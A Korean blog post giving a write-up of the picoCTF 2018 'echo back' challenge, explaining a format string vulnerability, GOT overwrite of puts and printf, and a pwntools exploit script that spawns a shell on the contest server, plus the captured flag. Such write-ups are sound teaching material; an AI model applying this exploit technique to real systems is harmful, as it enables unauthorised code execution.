제리의 블로그

picoCTF 2018 echo back Binary Exploitation 본문

CTF/pwnable

picoCTF 2018 echo back Binary Exploitation

j3rrry 2018. 10. 16. 15:04

echo back - Points: 500 - (Solves: 206)

요약

본 Writeup 은 포맷 스트링(FSB)를 다룹니다.

문제에서 바이너리와 접속정보가 주어집니다.
소스 코드가 없기 때문에 바이너리를 분석해야 합니다.

바이너리엔 FSB 취약점이 있었고
system() 함수가 사용되고 있었습니다.

사용자 정의 함수 vuln() 함수는
read(0, buf, 0x7f);
printf(buf);
puts("\n");
위와 같은 코드로 구성되어 있었습니다.

FSB 를 이용하여
GOT Overwrite 를 합니다.
puts@GOT 를 0x080485E1 로 덮어서 loop 를 만들어주고
printf@GOT 를 system@plt 로 만들어준 다음

변수 buf 에 "/bin/sh" 를 넣으면
printf 함수가 system 을 호출하게 되어서

쉘이 떨어집니다.


Description

This program we found seems to have a vulnerability.
Can you get a shell and retreive the flag?
Connect to it with nc 2018shell2.picoctf.com 37857.



의사 코드

void __cdecl vuln()
{
  int v0; // eax@1
  char buf[128]; // [sp+Ch] [bp-8Ch]@1
  int canary; // [sp+8Ch] [bp-Ch]@1

  canary = *MK_FP(__GS__, 20);
  memset(buf, 0, sizeof(buf));
  system("echo input your message:");
  read(0, buf, 0x7Fu);
  printf(buf);
  puts("\n");
  puts("Thanks for sending the message!");
  v0 = *MK_FP(__GS__, 20) ^ canary;
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __gid_t gid; // ST18_4@1

  setvbuf(stdout, NULL, _IONBF, 0);
  gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  return 0;
}
11번째 줄에서 FSB 취약점
9번째 줄에 system 함수의 주소를 FSB를 이용해서 printf@got 에 덮어쓸 것이다.
"/bin/sh" 문자열은 없다.



형식 지정자 %n 을 이용해서
원하는 오프셋에 쓰기를 할 수 있다.

printf 함수의 GOT 를 system 으로 덮으면
buf 가 "/bin/sh" 일 때
쉘이 따지게 될 것입니다. ( system("/bin/sh"); )



GOT Overwrite 가능한가?

$ checksec ./echoback
[*] './echoback'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
Partial RELRO 이기 때문에 GOT Overwrite 가능합니다.



target 지역변수는 몇번째 오프셋인가?

$ ./echoback
input your message:
AAAA%7$p
AAAA0x41414141


Thanks for sending the message!
$
7번째 오프셋이 지역변수 buf 입니다.



puts 를 0x080485E1 로 덮어쓴 이유?

loop 시키기 위한 오프셋들 중 0x080485E1 로 정한 이유는
스택 포인터(esp)를 원래 흐름과 똑같이 싱크를 맞추기 위함이고
0x080485E1 말고 다른 곳으로 해도 Exploit 에는 문제가 없습니다.
.text:0804860C                 sub     esp, 0Ch
.text:0804860F                 push    offset s        ; "\n"
.text:08048614                 call    _puts
.text:08048619                 add     esp, 10h
코드를 보면 스택의 정리를 caller 가 하는 cdecl 방식인데
sub, add 를 이용한 esp 조정이 이루어집니다.

puts 를 GOT Overwrite 한 후에도
위 코드의 4번째 줄(0x08048619)을 0x080485E1 이 대신 해주게 됩니다.
.text:080485D4                 sub     esp, 0Ch
.text:080485D7                 push    offset command  ; "echo input your message:"
.text:080485DC                 call    _system
.text:080485E1
.text:080485E1 loc_80485E1:
.text:080485E1                 add     esp, 10h



익스 코드

from pwn import *

e = ELF('./echoback')
r = remote('2018shell2.picoctf.com', 37857)

r.recvuntil('input your message:\n')

payload = ''
payload += fmtstr_payload(7, {e.got.puts:0x080485E1, e.got.printf:e.plt.system})
r.sendline(payload)

payload = ''
payload += '/bin/sh'
r.sendline(payload)

r.interactive()



플래그

$ ls
echoback
echoback.c
flag.txt
xinet_startup.sh
$ cat flag.txt
picoCTF{foRm4t_stRinGs_aRe_3xtra_DanGer0us_73881db0}


// echoback.c
#include <stdio.h>
#include <sys/types.h>

void vuln(){
    char input[128] = {};

    system("echo input your message:");
    read(0,input,127);

    printf(input);
    puts("\n");

    puts("Thanks for sending the message!");
}

int main(int argc, char *argv[]){
  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  return 0;
}


# xinet_startup.sh
#!/bin/bash
cd $(dirname $0)
exec timeout -sKILL 3m /problems/echo-back_0_7f79db0c38954f1705e99fdf894f7a31/echoback


Comments